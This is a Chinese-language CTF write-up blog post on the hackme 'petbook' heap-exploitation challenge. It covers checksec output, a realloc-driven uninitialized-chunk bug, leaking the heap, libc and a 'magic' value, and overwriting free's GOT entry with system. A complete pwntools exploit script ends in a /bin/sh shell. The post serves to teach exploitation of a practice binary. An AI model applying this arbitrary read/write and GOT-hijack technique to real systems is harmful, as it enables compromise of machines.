hackme petbook

idea

这道题虽然 200 分,但是逻辑很复杂,找漏洞的话需要耐心。而且许多函数执行前有多个 check,在程序一开始就有程序取随机数然后把 base64 算法的字母表换掉的操作加密我们的 post,感觉就有点东西了XD。好了,废话不多说,直接上重点吧。

1
2
3
4
5
6
7
8
❯ checksec petbook
[*] '/Users/carlstar/Downloads/petbook'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled

保护情况比较正常,多了一个 FORTIFY,查了一下没啥用,是在编译的时候检查敏感函数有没有溢出等漏洞,默认是不开启的,不用管就好了。

漏洞触发点在 user_create 和 user_edit_post 这两个函数中,可以通过布置堆块来结合程序的特点实现任意地址读与任意地址写,具体来看一下吧。

enter image description here

在 post 时我们可以控制 malloc 的大小,如果我们申请的大小在 0x218 附近的 chunk ,在 edit 时 大小修改为不同的那么就会触发 realloc free 掉之前 post 的文章,那么再次注册一个新的用户时就会申请到这个 chunk 但是申请的时候没有对 chunk 清空或者初始化,这样会带来什么效果呢?

在 user_loop 和 pet_rename 中对相关数据结构操作时是这样的,如果可以控制 v0 + 520 + offset 这块的数据的话我们就有能力任意读和任意写。

程序中有多个向下面这种 check,所以我们得泄漏出 magic。

1
2
3
4
5
if ( (magic ^ *(_DWORD *)current_user) & 0xFFFF0000 )
{
puts("corrupted object detected");
exit(1);
}

要方便我们的利用,我们可以构造 2 个 post 第一个 post 为 要读 or 写的地址,另一个 post 为跳板指向它,这样做的好处就是不需要重复构造 post 每次有新的需求只需要修改一个 post 即可完成我们的目的。这样做意味着我们要泄漏出 heap 的地址,经过调试发现 user_db 会存放 heap 地址。

利用思路

1
2
3
4
1、泄漏堆地址
2、泄漏 libc && magic
3、hijack free got to system
4、触发 free to get shell

Step 1

1
2
3
4
5
6
7
8
9
10
11
userdb = 0x603158
register('a','a')
login('a','a')
post('a0',0x230,cyclic(520) + p64(userdb - 0x10))
edit('2','f',0x240,'cccc')
logout()
register('b','b')
login('b','b')
t.recvuntil('Type: ')
heap = u64(t.recv(4).ljust(8,'\x00')) - 0x230
log.info('heap_addr: '+ hex(heap))

realloc 后会触发 free ,再次注册用户后会申请到这个 chunk ,内容未清空。

在申请 user 的结构时会把剩下的 0x20 拿到

1
2
3
4
5
6
7
8
9
10
_QWORD *__fastcall link_insert(_QWORD *a1, __int64 a2)
{
_QWORD *result; // rax

result = malloc(0x10uLL);
result[1] = a2;
*result = *a1;
*a1 = result;
return result;
}

在 main_loop 时泄漏堆地址

Step 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
fake_pet = heap + 0x940
post('a1',0x90,p64(0x603038) * 3) #p2->uid=4
post('a2',0x230,cyclic(520) + p64(fake_pet)) #p3->uid=5
edit('5','d',0x240,'dddd')
logout()
register('c','c')
login('c','c')
t.recvuntil('Type: ')
addr_puts = u64(t.recv(6).ljust(8,'\x00'))
log.info('addr_puts: ' + hex(addr_puts))
magic = 0x603164
logout()
login('b','b')
edit('4','f',0x90,p64(magic) * 3)
logout()
login('c','c')
t.recvuntil('Pet Name: ')
magic = u64(t.recv(4).ljust(8,'\x00'))
log.info('magic: ' + hex(magic))

0x940 的 offset 直接调试可以得到,其余的同理。

Step 3

1
2
3
4
5
6
7
8
9
10
11
post('a3',0x230,cyclic(520) + p64(fake_pet)) #p4->uid=7
edit('7','d',0x240,'dddd')
logout()
register('d','d')
login('b','b')
fake_magic = magic + 0x600000000
edit('4','f',0x90,p64(fake_magic) + p64(0x603018))
logout()
login('d','d')
rename(p64(addr_sys))
logout()

Step 4

1
2
3
4
5
6
7
login('d','d')
rename(p64(addr_sys))
logout()
register('e','e')
login('e','e')
adopt('/bin/sh\x00')
abandon()

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn import *
context(log_level = "debug", terminal = ["deepin-terminal", "-x", "sh", "-c"])
t = remote('192.168.5.178', 9999)

#t = remote('hackme.inndy.tw', 7710)
def register(username, password):
t.sendlineafter('>>\n', '1')
t.sendlineafter('Username >>\n', str(username))
t.sendlineafter('Password >>\n', str(password))



def login(username,password):
t.sendlineafter('>>\n', '2')
t.sendlineafter('Username >>\n', str(username))
t.sendlineafter('Password >>\n', str(password))


def post(title,length,context):
t.sendlineafter('>>\n','1')
t.sendlineafter('Title >>\n',str(title))
t.sendlineafter('Content Length >>\n', str(length))
t.sendlineafter('Content >>\n', context)



def edit(id,title,size,context):
t.sendlineafter('>>\n', '3')
t.sendlineafter('Post id >>\n', str(id))
t.sendlineafter('New title >>\n', str(title))
t.sendlineafter('New content size >>\n', str(size))
t.sendlineafter('New Content >>\n',context)





def logout():
t.sendlineafter('>>\n', '0')



def rename(context):
t.sendlineafter('>>\n', '6')
t.sendlineafter('pet >>',context)



def adopt(name):
t.sendlineafter('>>\n', '5')
t.sendlineafter('pet >>',name)



def abandon():
t.sendlineafter('>>\n', '7')




raw_input()
userdb = 0x603158
register('a','a')
login('a','a')
post('a0',0x230,cyclic(520) + p64(userdb - 0x10))
edit('2','f',0x240,'cccc')
logout()
register('b','b')
login('b','b')
t.recvuntil('Type: ')
heap = u64(t.recv(4).ljust(8,'\x00')) - 0x230
log.info('heap_addr: '+ hex(heap))
fake_pet = heap + 0x940
post('a1',0x90,p64(0x603038) * 3) #p2->uid=4
post('a2',0x230,cyclic(520) + p64(fake_pet)) #p3->uid=5
edit('5','d',0x240,'dddd')
logout()
register('c','c')
login('c','c')
t.recvuntil('Type: ')
addr_puts = u64(t.recv(6).ljust(8,'\x00'))
log.info('addr_puts: ' + hex(addr_puts))
magic = 0x603164
logout()
login('b','b')
edit('4','f',0x90,p64(magic) * 3)
logout()
login('c','c')
t.recvuntil('Pet Name: ')
magic = u64(t.recv(4).ljust(8,'\x00'))
log.info('magic: ' + hex(magic))
offset_puts = 0x6f5d0
offset_sys = 0x45380
addr_sys = addr_puts - offset_puts + offset_sys
log.info('addr_sys: ' + hex(addr_sys))
post('a3',0x230,cyclic(520) + p64(fake_pet)) #p4->uid=7
edit('7','d',0x240,'dddd')
logout()
register('d','d')
login('b','b')
fake_magic = magic + 0x600000000
edit('4','f',0x90,p64(fake_magic) + p64(0x603018))
logout()
login('d','d')
rename(p64(addr_sys))
logout()
register('e','e')
login('e','e')
adopt('/bin/sh\x00')
abandon()

t.interactive()
文章作者: Carl Star
文章链接: http://carlstar.club/2019/07/17/petbook/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Hexo
打赏
  • 微信
  • 支付寶